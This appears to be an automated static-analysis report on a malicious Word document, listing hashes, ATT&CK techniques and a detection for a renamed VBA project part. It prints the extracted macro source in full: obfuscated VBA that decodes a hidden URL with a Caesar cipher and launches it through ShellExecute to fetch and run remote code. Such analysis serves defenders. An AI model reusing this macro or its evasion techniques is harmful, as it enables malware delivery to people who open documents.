Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 7e9e17fe0f118e1b…

MALICIOUS

Office (OOXML) / .DOC

62.2 KB Created: 2022-06-12 06:08:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2022-06-15
MD5: 98ef467c111d482a98a6cb472f63b114 SHA-1: 62bffad7898f450a31f03e2ce0782a77dd3fb7ea SHA-256: 7e9e17fe0f118e1b6f13d789644f581672176214f9a35167cbe6f19db646ab09
62 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing a VBA project with a renamed part, indicating an attempt to evade detection. The presence of VBA macros suggests the document is designed to execute code upon opening. The VBA code, specifically the 'NewMacros' module and 'Class1', appears to be involved in string manipulation and potentially downloading or executing further stages, though the exact payload is not directly visible. This points to a macro-based downloader attack.

Heuristics 3

  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: word/asqandsmi.b!!!!!!!!~~~~~~)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2006/01/customuiIn document text (OOXML body / shared strings)

Related samples 1

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6200 bytes
SHA-256: 4f5cbed4b3e18e938fbc49ff6e1ac9c1c177e1107a77b4000ed3adb5ebbdde48
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub jdskaldjqpwodq(ribbon As IRibbonUI)
'
' fhdfjkshdf Macro
'
'
Dim objjj As New Class3

objjj.Client_Req





End Sub







Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private strText           As String   'The stored string
Public lngAllocated       As Long     'Number of allocated characters
Public lngUsed            As Long     'Number of characters in use
Public lngAllocSize       As Long     'Number of characters to allocate every time

Private Sub Class_Initialize()
    'By default, allocate 1000 characters each time.
    'You can "play" with this value in order to get the best efficient string allocation for you.
    
    'If you increase this value, the string Concatenation operation
    'can be a little faster, but it'll waste more memory.
    
    'If you decrease this value, the string Concatenation operation
    'can be a little slower, but it'll waste less memory.
    lngAllocSize = 1000
End Sub

Public Sub Add(strAddString As String)
    Dim lngLen            As Long
    Dim lngToAllocate     As Long
    
    lngLen = Len(strAddString)
    If lngLen > 0 Then
        If lngUsed + lngLen > lngAllocated Then
            'Calculate the characters to allocate.
            lngToAllocate = lngAllocSize * (1 + (lngUsed + lngLen - lngAllocated) \ lngAllocSize)
            'Allocate more space in the string.
            strText = strText & String$(lngToAllocate, " ")
            lngAllocated = lngAllocated + lngToAllocate
        End If
        
        Mid$(strText, lngUsed + 1, lngLen) = strAddString
        lngUsed = lngUsed + lngLen
    End If
End Sub

'Returns the accumulated string
Public Function GetStr() As String
    GetStr = Mid$(strText, 1, lngUsed)
End Function

Public Function DestroyString()

    strText = ""
End Function

Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Function GETMainService()

Dim obj As New Class1

obj.DestroyString

obj.Add "rddzc"
obj.Add "://"
obj.Add "bolbkxn"
obj.Add "."
obj.Add "vi"
obj.Add "/"
obj.Add "qboqffccooqqk"
Dim ASDIOUWDOIHQWKDWQ As String
ASDIOUWDOIHQWKDWQ = obj.GetStr


GETMainService = Caesar_Cipher(ASDIOUWDOIHQWKDWQ, -10)


End Function



Public Function GETMainService2()

Dim obj As New Class1

obj.Add "wcr"

obj.Add "dk"

Dim AISDJASJDAKLS As String
AISDJASJDAKLS = obj.GetStr


obj.DestroyString




GETMainService2 = Caesar_Cipher(AISDJASJDAKLS, -10)


End Function

Public Function Caesar_Cipher(sText As String, lngNumber As Long) As String
Dim Tbl, strGlob As String, strTemp As String, i As Long, bytAscii As Byte
  Const MAJ As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    Const NB_LETTERS As Byte = 26
      Const DIFFASCIIMAJ As Byte = 65 - NB_LETTERS
        Const DIFFASCIIMIN As Byte = 97 - NB_LETTERS
 
    strTemp = sText
    If lngNumber < NB_LETTERS And lngNumber > NB_LETTERS * -1 Then
        strGlob = String(NB_LETTERS * 4, " ")
        LSet strGlob = MAJ & MAJ & MAJ
        Tbl = Split(StrConv(strGlob, vbUnicode), Chr(0))
        For i = 1 To Len(strTemp)
            If Mid(strTemp, i, 1) Like "[a-zA-Z]" Then
                bytAscii = Asc(Mid(strTemp, i, 1))
                If Mid(strTemp, i, 1) = Tbl(bytAscii - DIFFASCIIMAJ) Then
                    Mid(strTemp, i) = Tbl(bytAscii - DIFFASCIIMAJ + lngNumber)
                Else
                    Mid(strTemp, i) = LCase(Tbl(bytAscii - DIFFASCIIMIN + lngNumber))
                End If
            End If
        Next i
    End If
    Caesar_Cipher = strTemp
End Function



Attribute VB_Name = "Class3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
#If VBA7 Then
  #If Win64 Then ' Declare using PtrSafe for Office 64 bit
    
Private Declare PtrSafe Function AJSDKHASJKDHAJSKDHJASKDHAKJSDHKJSADHKJASHDKJASHDKJASHKDJHASD Lib "shell32.dll" Alias "ShellExecuteA" ( _
        ByVal hwnd As LongPtr, ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As LongPtr


    #Else
Private Declare Function AJSDKHASJKDHAJSKDHJASKDHAKJSDHKJSADHKJASHDKJASHDKJASHKDJHASD Lib "shell32.dll" Alias "ShellExecuteA" ( _
        ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
#End If

#Else

Private Declare Function AJSDKHASJKDHAJSKDHJASKDHAKJSDHKJSADHKJASHDKJASHDKJASHKDJHASD Lib "shell32.dll" Alias "ShellExecuteA" ( _
        ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long


#End If

Sub DIQOQWPOJQWDNKSANDADSAHDASKJDHQWOINDQW(filename, filename2)


Call AJSDKHASJKDHAJSKDHJASKDHAKJSDHKJSADHKJASHDKJASHDKJASHKDJHASD(0&, vbNullString, filename, _
filename2, vbNullString, vbNormalFocus)

End Sub


Public Sub Client_Req()

Dim oobj As New Class2


DIQOQWPOJQWDNKSANDADSAHDASKJDHQWOINDQW oobj.GETMainService2, oobj.GETMainService


End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/asqandsmi.b!!!!!!!!~~~~~~ 27136 bytes
SHA-256: c4c90d9584977dac889eff1506831e6375cc152ac8ace3335b846531843671f6

Open this report in the interactive analyzer, or submit your own file for analysis.